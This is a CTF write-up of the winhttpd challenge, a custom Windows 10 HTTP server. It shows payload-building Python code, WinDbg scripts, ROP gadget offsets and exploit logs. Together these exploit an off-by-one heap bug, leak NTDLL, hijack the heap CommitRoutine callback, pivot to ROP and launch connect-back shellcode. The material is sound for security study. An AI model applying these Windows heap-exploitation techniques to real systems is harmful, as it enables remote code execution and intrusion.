Normal view
Securing Your Macbook Part 3
winhttpd writeup: private heaps pwning on Windows
Following last week-end’s Insomni’hack teaser and popular demand, here is a detailed write-up for my winhttpd challenge, that implemented a custom multi-threaded httpd and was running on the latest version of Windows 10:
This challenge is running on Windows Server 2019, Version 1809 (OS Build 17763.253).
Since multi-threaded servers have obvious isolation issues for a CTF challenge, you had to first connect to a dispatcher service which would spawn an instance for you on a dedicated port, that only your IP was allowed to access. Then you could send as many requests to the httpd as you like as long as the instance didn’t crash and if you kept the dispatcher socket open.
It all starts with a HeapCreate
The server limits the number of concurrent requests to 5, and each request runs in a dedicated thread, which creates a private heap with HeapCreate(0, 0, 0)
and finally destroys it with HeapDestroy(hHeap)
when the request terminates.
This means that every request has a clean heap and cannot interfere with other requests’ heaps (yet), making it far easier to have deterministic allocations since you don’t have to worry about whatever occurs on the main heap or in other threads. On the other hand, you loose whatever pointers you could have leaked from the main heap.
Private heaps have their own LFH and thus we also start with no LFH enabled, so we can avoid the LFH randomization altogether as long as we don’t create too many objects of the same size.
After opening several threads we can observe that we get the following heaps:
0:006> !heap Index Address Name Debugging options enabled 1: 17ccd2c0000 2: 17ccd0b0000 3: 17ccd220000 4: 17ccd4e0000 5: 17ccd260000 6: 17ccd6d0000 7: 17ccd460000 8: 17ccd590000
As you can see :
- unlike mmap on (non-grsec) Linux, all heaps are mapped in memory at with random offsets ; therefore leaking a heap address doesn’t mean we immediately can leak other heaps or libraries
- all new heaps are aligned on 0x10000 ; that could come in handy for partial overwrites, however I didn’t actually use it in my exploit
The bugs
The httpd itself doesn’t do much: you can only read local files (without traversal) or login. The login takes username/password/domain parameters, and just greets you if the credentials are valid, or fails. The domain parameter has to be either empty or start with “win.local“, which is the first bug since you can send “win.local.mydomain.com“. This will cause the httpd to open a socket on port 12345 to your domain, send “<username>::<password>” on that socket, and wait for the authentication response.
The other bug lies in the custom strcpy_n function that is used to store various variables in the following http_request struct (which is also stored on the heap shortly after the thread creation):
typedef struct {
char *key;
char *value;
} dictionary_entry, *dictionary;
typedef struct {
SOCKET sockfd;
HANDLE heap;
char method[16];
char filename[256];
char *query_string;
char protocol[16];
char hostname[128];
dictionary headers;
size_t headers_count;
dictionary params; /* GET & POST params */
size_t params_count;
char *content; /* POST content */
size_t content_length;
} http_request;
That function has a NULL off-by-one bug, and is called in the following contexts:
strcpy_n(req->method, cursor, sizeof(req->method));
⇨ overflows filename[0], useless (also the method is invalid so request aborts)
strcpy_n(req->filename, cursor, sizeof(req->filename));
⇨ overflows the first byte of query_string, which could be nice however the query_string isn’t allocated yet (NULL)
req->query_string = (char*)HeapAlloc(req->heap, 0, ptr - cursor + 1);
strcpy_n(req->query_string, cursor, ptr - cursor);
⇨ no overflow
strcpy_n(req->protocol, cursor, sizeof(req->protocol));
⇨ overflows hostname[0], useless
if (!_stricmp(key, "Host") && !*req->hostname) {
strcpy_n(req->hostname, value, sizeof(req->hostname));
⇨ overflows the headers pointer (pointer to a dictionary, which is an array of key-value pointers)
Only the last one is interesting as it means we can make the headers dictionary – which I’ll refer to as headers**
from now on – point to controlled memory.
During the parsing of HTTP headers, key-value pairs are added to the headers dictionary by a dict_add() function:
- the program loops up to req->headers_count times to check if the same header name already exists
- if it doesn’t, a new key and value are allocated with HeapAlloc()
- then the dictionary gets extended with HeapReAlloc() and the new pair is appended to the dictionary
- if it does, the key remains unchanged
- if the value is <= to strlen(prev_value), the previous bytes are just edited
- if it is not, the value gets extended with HeapReAlloc()
So if the headers**
points in controlled memory, the parsing of next headers could lead to an arbitrary write by editing a valid key with a value that points wherever we want.
Headers are never printed by the application and thus can’t be used directly for an arbitrary read.
dict_add() is also used to add key-value pairs to the params**
dictionary.
The initial leak
Before we go further we need an initial leak to bypass ASLR.
If we manage to put the headers**
on top of a valid chunk, we can add a new header to cause a HeapReAlloc on that chunk without having to worry about messing up with the allocator’s metadata (inlined or not): as far as it is concerned, this is a valid demand.
If the new size is more than that of the chunk we overlap with, the allocator will try to extend it. If there is enough free space adjacent to the chunk, that will be used and will just increase the size of our chunk, otherwise it’ll allocate new memory and free the old chunk, thereby allowing us to free the overlapped chunk.
Now there’s a catch: before the headers**
gets HeapReAlloc()‘ed, dict_add checks if the new header we’re adding exists already, and will therefore loop against all entries of headers**
. Since our off-by-one bug gets triggered on a headers**
that has at least one entry (the “Host” header itself), dict_add will always try to dereference a key pointer at least once, which is problematic since we haven’t bypassed ASLR yet.
The idea here is that we can use KUSER_SHARED_DATA, a section of memory that is always mapped at 0x7ffe0000 – as can be observed with !address in WinDbg.
0:007> !address
BaseAddress EndAddress+1 RegionSize Type State Protect Usage
--------------------------------------------------------------------------------------------------------------------------
+ 0`00000000 0`7ffe0000 0`7ffe0000 MEM_FREE PAGE_NOACCESS Free
+ 0`7ffe0000 0`7ffe1000 0`00001000 MEM_PRIVATE MEM_COMMIT PAGE_READONLY Other [User Shared Data]
+ 0`7ffe1000 0`7ffe6000 0`00005000 MEM_FREE PAGE_NOACCESS Free
+ 0`7ffe6000 0`7ffe7000 0`00001000 MEM_PRIVATE MEM_COMMIT PAGE_READONLY <unknown> [.........5......]
+ 0`7ffe7000 bb`f1490000 bb`714a9000 MEM_FREE PAGE_NOACCESS Free
+ bb`f1490000 bb`f158a000 0`000fa000 MEM_PRIVATE MEM_RESERVE Stack [~0; 4f8.13c8]
[...]
0:007> dt nt!_KUSER_SHARED_DATA 0x7ffe0000
ntdll!_KUSER_SHARED_DATA
+0x000 TickCountLowDeprecated : 0
+0x004 TickCountMultiplier : 0xfa00000
+0x008 InterruptTime : _KSYSTEM_TIME
+0x014 SystemTime : _KSYSTEM_TIME
+0x020 TimeZoneBias : _KSYSTEM_TIME
+0x02c ImageNumberLow : 0x8664
+0x02e ImageNumberHigh : 0x8664
+0x030 NtSystemRoot : [260] "C:\WINDOWS"
+0x238 MaxStackTraceDepth : 0
+0x23c CryptoExponent : 0
[...]
That doesn’t contain any useful pointer for us on Windows 10, but it is perfect to survive a pointer dereference. So we just craft a fake header that points to the NtSystemRoot, which is "C\x00" (unicode string).
The GET parameters stored in params**
have a urldecoded value, which allows us to store NULL bytes in the value. Furthemore the username and password params can be leaked over the “domain” socket, therefore we can craft our fake header**
in one of these, and free the value. The allocator will insert a FreeList entry (Flink + Blink) inside the free chunk, so printing the value will leak us the Flink and thus the position of the heap!
Let’s see how it works. First we register a few breakpoints to pretty-print our allocations:
bp ntdll!RtlAllocateHeap "r @$t1 = @rcx ; r @$t2 = @edx ; r @$t3 = @r8; g"
bp ntdll!RtlReAllocateHeap "r @$t4 = @rcx ; r @$t5 = @edx ; r @$t6 = @r8; r $t7 = @r9 ; g"
bp winhttpd+24C5 ".printf \"----------------------------------------------------------------------------------------------------\\nNew Heap @ %#p\\n\", @rax ; g"
bp winhttpd+24DD ".printf \"req_head : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+2508 ".printf \"http_request : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+2732 ".printf \"req->content : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+213A ".printf \"req->query_string : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+36DE ".printf \" dict_add new key : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+3715 ".printf \" dict_add new value : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+374C ".printf \" dict_add realloc value : HeapReAlloc(%#p, %#x, %#p, %#p) -> %#p\\n\", @$t4, @$t5, @$t6, @$t7, @rax ; g"
bp winhttpd+37FF ".printf \" dict_add realloc dict : HeapReAlloc(%#p, %#x, %#p, %#p) -> %#p\\n\", @$t4, @$t5, @$t6, @$t7, @rax ; g"
bp winhttpd+37D0 ".printf \" dict_add new dict : HeapAlloc(%#p, %#x, %#p) -> %#p\\n\", @$t1, @$t2, @$t3, @rax ; g"
bp winhttpd+1D20 ".printf \"Parsing params...\\n\" ; g"
bp winhttpd+22C8 ".printf \"Parsing header...\\n\" ; g"
g
This is the payload I used:
fake_headers = p64(_KUSER_SHARED_DATA + 0x30) * 6
payload = "POST "
payload += "/login?domain=win.local.w3challs.com&password=" + "A" * 0x100 + "&username=" + urlencode(fake_headers) # [1]
payload += " HTTP/1.1\r\n"
payload += "X: " + "Y" * 0x30 + "\r\n" # [2]
payload += "X: " + "Y" * 0x50 + "\r\n" # [3]
payload += "A" * 0x40 + ": " + "B" * 0x40 + "\r\n" # [4]
payload += "Host: " + 'X' * 128 + "\r\n" # [5] trigger off-by-one on headers**
payload += "Z" * 0x40 + ": " + "B" * 0x40 + "\r\n" # [6] HeapReAlloc(headers**) => HeapFree(params[username].value)
payload += "\r\n"
Allocations observed in WinDbg:
0:003> g
----------------------------------------------------------------------------------------------------
New Heap @ 0x17ccd220000
req_head : HeapAlloc(0x17ccd220000, 0, 0x2000) -> 0x17ccd220860
http_request : HeapAlloc(0x17ccd220000, 0, 0x1e8) -> 0x17ccd222870
req->query_string : HeapAlloc(0x17ccd220000, 0, 0x1c9) -> 0x17ccd222a60
Parsing params...
dict_add new key : HeapAlloc(0x17ccd220000, 0, 0x7) -> 0x17ccd222c40
dict_add new value : HeapAlloc(0x17ccd220000, 0, 0x17) -> 0x17ccd222c60
dict_add new dict : HeapAlloc(0x17ccd220000, 0, 0x10) -> 0x17ccd222c80
dict_add new key : HeapAlloc(0x17ccd220000, 0, 0x9) -> 0x17ccd222ca0
dict_add new value : HeapAlloc(0x17ccd220000, 0, 0x101) -> 0x17ccd222cc0
dict_add realloc dict : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222c80, 0x20) -> 0x17ccd222dd0
dict_add new key : HeapAlloc(0x17ccd220000, 0, 0x9) -> 0x17ccd222c80
[1] dict_add new value : HeapAlloc(0x17ccd220000, 0, 0x31) -> 0x17ccd222e00
dict_add realloc dict : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222dd0, 0x30) -> 0x17ccd222e40
Parsing header...
dict_add new key : HeapAlloc(0x17ccd220000, 0, 0x2) -> 0x17ccd222dd0
[2] dict_add new value : HeapAlloc(0x17ccd220000, 0, 0x31) -> 0x17ccd222e80
[2] dict_add new dict : HeapAlloc(0x17ccd220000, 0, 0x10) -> 0x17ccd222ec0
Parsing header...
[3] dict_add realloc value : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222e80, 0x51) -> 0x17ccd222ee0
Parsing header...
[4] dict_add new key : HeapAlloc(0x17ccd220000, 0, 0x41) -> 0x17ccd222f40
[4] dict_add new value : HeapAlloc(0x17ccd220000, 0, 0x41) -> 0x17ccd222f90
[4] dict_add realloc dict : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222ec0, 0x20) -> 0x17ccd222e80
Parsing header...
dict_add new key : HeapAlloc(0x17ccd220000, 0, 0x5) -> 0x17ccd222ec0
[5] dict_add new value : HeapAlloc(0x17ccd220000, 0, 0x81) -> 0x17ccd222fe0
[5] dict_add realloc dict : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222e80, 0x30) -> 0x17ccd222e80
Parsing header...
dict_add new key : HeapAlloc(0x17ccd220000, 0, 0x41) -> 0x17ccd223070
dict_add new value : HeapAlloc(0x17ccd220000, 0, 0x41) -> 0x17ccd2230c0
[6] dict_add realloc dict : HeapReAlloc(0x17ccd220000, 0, 0x17ccd222e00, 0x40) -> 0x17ccd223110
[...]
0:006> dps 0x17ccd222e00 L6
0000017c`cd222e00 0000017c`cd223160 [6]
0000017c`cd222e08 0000017c`cd220150 [6]
0000017c`cd222e10 00000000`7ffe0030 SharedUserData+0x30
0000017c`cd222e18 00000000`7ffe0030 SharedUserData+0x30
0000017c`cd222e20 00000000`7ffe0030 SharedUserData+0x30
0000017c`cd222e28 00000000`7ffe0030 SharedUserData+0x30
Step-by-step explanation:
- At [1] we managed to get the username (params[2].value) aligned with 0x100.
- At [2] we create a header value whose size is 0x30* ; the
headers**
size is now 0x10 - At [3] we realloc that header’s value, leaving a free chunk of size 0x30 available
- At [4] we create another header, the
headers**
size is now 0x20, we use a key and value that are larger than 0x30 to avoid consuming the free 0x30 chunk - At [5] we perform the off-by-one
- first the “Host” header is added, the
headers**
size becomes 0x30, and thus it reuses the free 0x30 chunk - the
headers**
LSBs change from 2e80 to 2e00 because of the off-by-one ⇨ headers** == params[2].value
- first the “Host” header is added, the
- At [6] we add another header, which causes HeapReAlloc to free
headers**
and allocateheaders**
further in the heap- the allocator puts its Flink and Blink freelist pointers in params[2].value, which we will leak over our “domain socket”
Note*: 0x30 is not the real size, I forgot to consider the terminating NULL bytes and the metadatas’ size in my calculations. It doesn’t matter, what matters is our plan : that an alloc of 0x41 doesn’t fit into a chunk allocated for 0x31
Because at the end of the request handle_client calls HeapFree on all previously allocated pointers, we want to keep our “domain” socket open as long as possible to avoid a crash. That also avoids the HeapDestroy call which would destroy our heap before we can even use our leak.
Leaking NTDLL
winhttpd doesn’t store any function pointer or pointer to its .data section. We’re in a clean heap, is there anything useful for us in there?
All pointers seem to point inside the current heap except this one:
0:006> dps 0x17ccd220000 L100 [...] 0000017c`cd2202b8 00000000`001fe000 0000017c`cd2202c0 00007ff8`92b33d10 ntdll!RtlpStaticDebugInfo+0x90 0000017c`cd2202c8 00000000`ffffffff [...]
This is great because we always can find a pointer into NTDLL. Now we need a strategy to leak its value.
Arbitrary read/write
To obtain an arbitrary write primitive we can overwrite the pointers inside header**
and params**
. params**
is more interesting though because we can also leak the values if the param key is either username or password.
Therefore we will want to overlap header**
and param**
and once again cause a HeapReAlloc(header**) to free the param**
chunk.
Payload:
content = "A=" + urlencode(flat( # [8]
username_heap_thread_1, ntdll_leak_addr,
password_heap_thread_1, CommitRoutine_mangled_addr, # spoil for later :P
password_heap_thread_1, CommitRoutine_mangled_addr,
)) + "&domain=win.local.w3challs.com&" + "&" * 0x100
payload = "POST "
payload += '/login?a=AAAAAAAAAAAAAAAA&password=' + 'A' * 0xa0 + '&username=BBBBBBBB&username=' + urlencode(fake_headers) # [1]
payload += " HTTP/1.1\r\n"
payload += "Host: " + 'X' * 128 + "\r\n" # [2]
payload += "username: Y\r\n" # [3]
payload += "X: Y\r\n" # [4]
payload += "Content-Length: " + str(len(content)) + "\r\n" # [5]
payload += "X: " + "Y" * 0x50 + "\r\n" # [6]
payload += "\r\n"
payload += content # [7]
Allocations observed in WinDbg:
----------------------------------------------------------------------------------------------------
New Heap @ 0x17ccd260000
req_head : HeapAlloc(0x17ccd260000, 0, 0x2000) -> 0x17ccd260860
http_request : HeapAlloc(0x17ccd260000, 0, 0x1e8) -> 0x17ccd262870
req->query_string : HeapAlloc(0x17ccd260000, 0, 0x110) -> 0x17ccd262a60
Parsing params...
dict_add new key : HeapAlloc(0x17ccd260000, 0, 0x2) -> 0x17ccd262b80
dict_add new value : HeapAlloc(0x17ccd260000, 0, 0x11) -> 0x17ccd262ba0
dict_add new dict : HeapAlloc(0x17ccd260000, 0, 0x10) -> 0x17ccd262bc0
dict_add new key : HeapAlloc(0x17ccd260000, 0, 0x9) -> 0x17ccd262be0
dict_add new value : HeapAlloc(0x17ccd260000, 0, 0xa1) -> 0x17ccd262c00
dict_add realloc dict : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262bc0, 0x20) -> 0x17ccd262cb0
dict_add new key : HeapAlloc(0x17ccd260000, 0, 0x9) -> 0x17ccd262bc0
dict_add new value : HeapAlloc(0x17ccd260000, 0, 0x9) -> 0x17ccd262ce0
[1] dict_add realloc dict : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262cb0, 0x30) -> 0x17ccd262d00
dict_add realloc value : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262ce0, 0x11) -> 0x17ccd262cb0
Parsing header...
[2] dict_add new key : HeapAlloc(0x17ccd260000, 0, 0x5) -> 0x17ccd262ce0
[2] dict_add new value : HeapAlloc(0x17ccd260000, 0, 0x81) -> 0x17ccd262d40
[2] dict_add new dict : HeapAlloc(0x17ccd260000, 0, 0x10) -> 0x17ccd262dd0
Parsing header...
dict_add new key : HeapAlloc(0x17ccd260000, 0, 0x9) -> 0x17ccd262df0
[3] dict_add new value : HeapAlloc(0x17ccd260000, 0, 0x2) -> 0x17ccd262e10
[3] dict_add realloc dict : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262d00, 0x20) -> 0x17ccd262d00
Parsing header...
dict_add new key : HeapAlloc(0x17ccd260000, 0, 0x2) -> 0x17ccd262e30
[4] dict_add new value : HeapAlloc(0x17ccd260000, 0, 0x2) -> 0x17ccd262e50
[4] dict_add realloc dict : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262d00, 0x30) -> 0x17ccd262d00
Parsing header...
dict_add new key : HeapAlloc(0x17ccd260000, 0, 0xf) -> 0x17ccd262e70
dict_add new value : HeapAlloc(0x17ccd260000, 0, 0x4) -> 0x17ccd262e90
[5] dict_add realloc dict : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262d00, 0x40) -> 0x17ccd262eb0
Parsing header...
[6] dict_add realloc value : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262e50, 0x51) -> 0x17ccd262f00
[7] req->content : HeapAlloc(0x17ccd260000, 0, 0x1b2) -> 0x17ccd262f60
Parsing params...
[8] dict_add new key : HeapAlloc(0x17ccd260000, 0, 0x2) -> 0x17ccd262e50
[8] dict_add new value : HeapAlloc(0x17ccd260000, 0, 0x31) -> 0x17ccd262d00
[8] dict_add realloc dict : HeapReAlloc(0x17ccd260000, 0, 0x17ccd262d00, 0x40) -> 0x17ccd263120
dict_add new key : HeapAlloc(0x17ccd260000, 0x80000a, 0x1ca8) -> 0x17ccd262d00
dict_add new value : HeapAlloc(0x17ccd260000, 0, 0x17) -> 0x17ccd262d20
dict_add realloc dict : HeapReAlloc(0x17ccd260000, 0, 0x17ccd263120, 0x50) -> 0x17ccd260750
[...]
0:006> da poi(0x17ccd260750)
0000017c`cd222c80 "username"
0:006> dps poi(0x17ccd260750+8) L1
0000017c`cd2202c0 00007ff8`92b33d10 ntdll!RtlpStaticDebugInfo+0x90
Step-by-step explanation:
-
- At [1] we managed to get
params**
aligned with 0x100 - At [2] we perform the off-by-one
- first the “Host” header is added and reuses the old "BBBBBBBB" username, the
headers**
is created with a size of 0x10 - the
headers**
LSBs change from 2dd0 to 2d00 because of the off-by-one ⇨ headers** == params**
- first the “Host” header is added and reuses the old "BBBBBBBB" username, the
- At [3] we add a header, which is actually an old test that I forgot to remove
- the
headers**
size is now 0x20, this still fits in the original size ofparams**
: 0x30. Therefore this doesn’t free or moves it.
- the
- At [4] we add another header with a small value
- the
headers**
size is now 0x30, which still fits in the original size ofparams**
- the
- At [5] we add the Content-Length header, which is mandatory to send POST params
- it makes sure there’s an allocated chunk after the value of [4]
- the
headers**
size becomes 0x40, which causes HeapReAlloc to freeheaders**
and allocate it further in the heap-
param**
is now free
-
- At [6] we edit the value of [4], causing a HeapReAlloc
- since the chunk can’t be extended that much anymore, it frees it and moves it further in the heap
- we now have a small chunk available for next step
- At [7] the POST content is allocated, this doesn’t fit in free chunks and therefore gets allocated at the end of the heap
- At [8] the first POST param is added to
params**
- All pointers in
param**
can be dereferenced: the program doesn’t crash - the key reuses our previously freed small chunk
- the value overlaps with the free
params**
itself so we now fully control the values insideparams**
⇨ arbitrary read/write -
params**
gets reallocated, but keeps our crafted key-value pairs
- All pointers in
- At [1] we managed to get
Note that the arbitrary write is limited: we can only edit up to strlen(target) anywhere in memory.
The heap CommitRoutine callback
With the NTDLL base leaked I have no doubt you can find interesting pointers. Many of them seem available but are mangled and without names, which isn’t very cool. You could also leak the TEB and thus other libraries too, unlocking more targets.
On the other hand out of curiosity I wanted to look at what the heap structure looks like. The lame way to find its name (which I used of course) was to google “heap structure windows” which returns this paper as a first result. Then try several of the mentionned structures until one seems legit. Here nt!_HEAP looked ok
0:006>dt nt!_HEAP 0x17ccd220000
ntdll!_HEAP
+0x000 Segment : _HEAP_SEGMENT
+0x000 Entry : _HEAP_ENTRY
+0x010 SegmentSignature : 0xffeeffee
+0x014 SegmentFlags : 2
+0x018 SegmentListEntry : _LIST_ENTRY [ 0x0000017c`cd220120 - 0x0000017c`cd220120 ]
+0x028 Heap : 0x0000017c`cd220000 _HEAP
+0x030 BaseAddress : 0x0000017c`cd220000 Void
+0x038 NumberOfPages : 0xf
[...]
+0x150 FreeLists : _LIST_ENTRY [ 0x0000017c`cd222e00 - 0x0000017c`cd223160 ]
+0x160 LockVariable : 0x0000017c`cd2202c0 _HEAP_LOCK
+0x168 CommitRoutine : 0xf603ad6b`90e97029 long +f603ad6b90e97029
+0x170 StackTraceInitVar : _RTL_RUN_ONCE
+0x178 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA
+0x198 FrontEndHeap : (null)
+0x1a0 FrontHeapLockCount : 0
+0x1a2 FrontEndHeapType : 0 ''
+0x1a3 RequestedFrontEndHeapType : 0 ''
+0x1a8 FrontEndHeapUsageData : 0x0000017c`cd220750 ""
+0x1b0 FrontEndHeapMaximumIndex : 0x80
+0x1b2 FrontEndHeapStatusBitmap : [129] ""
+0x238 Counters : _HEAP_COUNTERS
+0x2b0 TuningParameters : _HEAP_TUNING_PARAMETERS
The CommitRoutine field immediately caught my eye as it sounds like something you can trigger with a large allocation (such as with our Content-Length). The documentation mentions the following:
Callback routine to commit pages from the heap. If this parameter is non-NULL, the heap must be nongrowable. If HeapBase is NULL, CommitRoutine must also be NULL.
However our private heaps are growable since they are created with HeapCreate(0, 0, 0)
, whose documentation says:
If dwMaximumSize is 0, the heap can grow in size. The heap’s size is limited only by the available memory.
Anyways if we change its value manually in the debugger and trigger a large allocation, it turns out that the callback is indeed called!
0:004> dt nt!_HEAP 1ee`a0a60000 CommitRoutine
ntdll!_HEAP
+0x168 CommitRoutine : 0x685d9804`f365ca2b long +685d9804f365ca2b
0:004> eq 1ee`a0a60000+168 4142434445464748
0:004> g
(25ac.3eac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!guard_dispatch_icall_nop:
00007ff8`92a73030 ffe0 jmp rax {291fdb40`b6238d63}
0:003> r
rax=291fdb40b6238d63 rbx=000001eea0a60000 rcx=000001eea0a60000
rdx=000000363e8ff980 rsi=000001eea0a64fc0 rdi=000001eea0a64fd0
rip=00007ff892a73030 rsp=000000363e8ff918 rbp=000001eea0a60000
r8=000000363e8ffa28 r9=0000000000003010 r10=00007ff892af09a0
r11=8080808080808080 r12=0000000000000000 r13=000000000000007f
r14=000000363e8ffa28 r15=000001eea0a602e8
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
As we can see several registers have values in the heap, with rbx, rcx and rbp pointing to the beginning of the heap. Using this along with our (constrained) arbitrary-write, we should be able to pivot to a ROP/JOP chain.
A quick look inside RtlpFindAndCommitPages (from the Stack Trace) shows a xor rax, cs:RtlpHeapKey
before the call to the CFG dispatch function (Control Flow Guard isn’t enabled here).
0:003> kv
# Child-SP RetAddr : Args to Child : Call Site
00 00000036`3e8ff918 00007ff8`929e8773 : 000001ee`a0a60000 00000000`00000000 00000000`00000020 00007ff8`929e01fe : ntdll!guard_dispatch_icall_nop
01 00000036`3e8ff920 00007ff8`929e8433 : 000001ee`a0a65000 000001ee`a0a60000 00000036`3e8ff9d0 00000000`00000010 : ntdll!RtlpFindAndCommitPages+0x87
02 00000036`3e8ff980 00007ff8`929e07b4 : 00000000`00000040 00000000`00000002 00000000`0000007f 00000000`00004000 : ntdll!RtlpExtendHeap+0x33
03 00000036`3e8ffa10 00007ff8`929dda21 : 000001ee`a0a60000 00000000`00000002 00000000`00003001 00000000`00003010 : ntdll!RtlpAllocateHeap+0xf54
04 00000036`3e8ffc80 00007ff6`58072732 : 00000000`00000000 00000000`00000000 000001ee`a0a60a4f 00007ff6`58070000 : ntdll!RtlpAllocateHeapInternal+0x991
05 00000036`3e8ffd70 00007ff8`8fdb7e94 : 00000000`000000b8 00000000`00000000 00000000`00000000 00000000`00000000 : winhttpd!handle_client+0x292
06 00000036`3e8ffe00 00007ff8`92a3a251 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
07 00000036`3e8ffe30 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
0:003> dq ntdll!RtlpHeapKey L1
00007ff8`92b36808 685d9804`f365ca2b
So the initial value of CommitRoutine was NULL, we can leak the heap XOR key either from a heap or directly in NTDLL.
Finding the address of any heap
This is all great but we can’t trigger a large allocation from any of the previous threads anymore, so we’ll have to create a new one, wait before sending it the HTTP headers, and leak its address in the meantime.
Fortunately NTDLL also keeps a list of our heaps:
0:006> !address
BaseAddress EndAddress+1 RegionSize Type State Protect Usage
--------------------------------------------------------------------------------------------------------------------------
[...]
+ 17c`cd460000 17c`cd465000 0`00005000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE Heap [ID: 6; Handle: 0000017ccd460000; Type: Segment]
17c`cd465000 17c`cd46f000 0`0000a000 MEM_PRIVATE MEM_RESERVE Heap [ID: 6; Handle: 0000017ccd460000; Type: Segment]
[...]
+ 7ff8`929d0000 7ff8`929d1000 0`00001000 MEM_IMAGE MEM_COMMIT PAGE_READONLY Image [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
7ff8`929d1000 7ff8`92ae8000 0`00117000 MEM_IMAGE MEM_COMMIT PAGE_EXECUTE_READ Image [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
7ff8`92ae8000 7ff8`92b2f000 0`00047000 MEM_IMAGE MEM_COMMIT PAGE_READONLY Image [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
7ff8`92b2f000 7ff8`92b30000 0`00001000 MEM_IMAGE MEM_COMMIT PAGE_READWRITE Image [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
7ff8`92b30000 7ff8`92b32000 0`00002000 MEM_IMAGE MEM_COMMIT PAGE_WRITECOPY Image [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
7ff8`92b32000 7ff8`92b3a000 0`00008000 MEM_IMAGE MEM_COMMIT PAGE_READWRITE Image [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
7ff8`92b3a000 7ff8`92bbd000 0`00083000 MEM_IMAGE MEM_COMMIT PAGE_READONLY Image [ntdll; "C:\WINDOWS\SYSTEM32\ntdll.dll"]
[...]
0:006> .for (r $t0 = 7ff8`92b2f000; @$t0 < 7ff8`92b3a000; r $t0 = @$t0 + 8) { .if (poi(@$t0) >= 17c`cd460000 & poi(@$t0) < 17c`cd465000) { dps $t0 L1 } }
00007ff8`92b33bb0 0000017c`cd460000
0:006> dq 0x7ff892b33b80
00007ff8`92b33b80 0000017c`cd2c0000 0000017c`cd0b0000
00007ff8`92b33b90 0000017c`cd220000 0000017c`cd4e0000
00007ff8`92b33ba0 0000017c`cd260000 0000017c`cd6d0000
00007ff8`92b33bb0 0000017c`cd460000 0000017c`cd590000
00007ff8`92b33bc0 00000000`00000000 00000000`00000000
00007ff8`92b33bd0 00000000`00000000 00000000`00000000
We can launch a new thread and the arbitrary read from above to leak its value.
Stack pivot, ROP, shellcode
We have RIP and rbp points to the heap, so we can look for a “leave ; pop ; ret” pivot gadget. This one does the trick:
# leave ; ⇨ mov rsp, rbp ; pop rbp
# mov rbx, qword [rsp+0x18]
# mov rax, rcx
# mov rbp, qword [rsp+0x20]
# mov rsi, qword [rsp+0x28]
# mov rdi, qword [rsp+0x30]
# pop r15
# pop r14
# ret
pivot_gadget = ntdll_base + 0x010442e
The above gadget pivots to the beginning of the heap (rbp) and pops 3 values off the pivoted stack, therefore we must control heap+0x18, which is SegmentListEntry, a heap entry without NULL bytes in its LSBs – so we can edit it.
So, we overwrite:
- heap+0x168 (CommitRoutine) with pivot_gadget ^ RtlpHeapKey
-
heap+0x18 (SegmentListEntry) with a large “add rsp, 0xXXX” gadget:
0x0d26c4: add rsp, 0x0000000000000CD0 # pop rbx # ret
Now we can store a retsled followed by a ROP chain. Since I didn’t bother to leak any other libs from NTDLL I decided to ROP directly to ntdll!NtProtectVirtualMemory, the syscall used behind the scenes by VirtualProtect – which allows to change the heap page permissions to RWX.
At this point we just need to store a connect-back shellcode after the ROP and jump into it to finally get our shell and read the flag!
$ ./sploit.py 172.16.62.153 42003
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 172.16.62.153 on port 19224
[+] Opening connection to 172.16.62.153 on port 42003: Done
[*] heap leak: 0x17ccd223160
[+] heap of thread 1 @ 0x17ccd220000
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 172.16.62.153 on port 19225
[+] Opening connection to 172.16.62.153 on port 42003: Done
[*] 'username' in heap 1 @ 0x17ccd222c80
[*] ntdll pointer @ 0x17ccd2202c0
[*] 'password' in heap 1 @ 0x17ccd222ca0
[*] CommitRoutine in heap 1 @ 0x17ccd220168
[+] ntdll!RtlpStaticDebugInfo leak: 0x7ff892b33d10
[+] NTDLL @ 0x7ff8929d0000
[+] ntdll!RtlpHeapKey = 0xf603ad6b90e97029
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 172.16.62.153 on port 19226
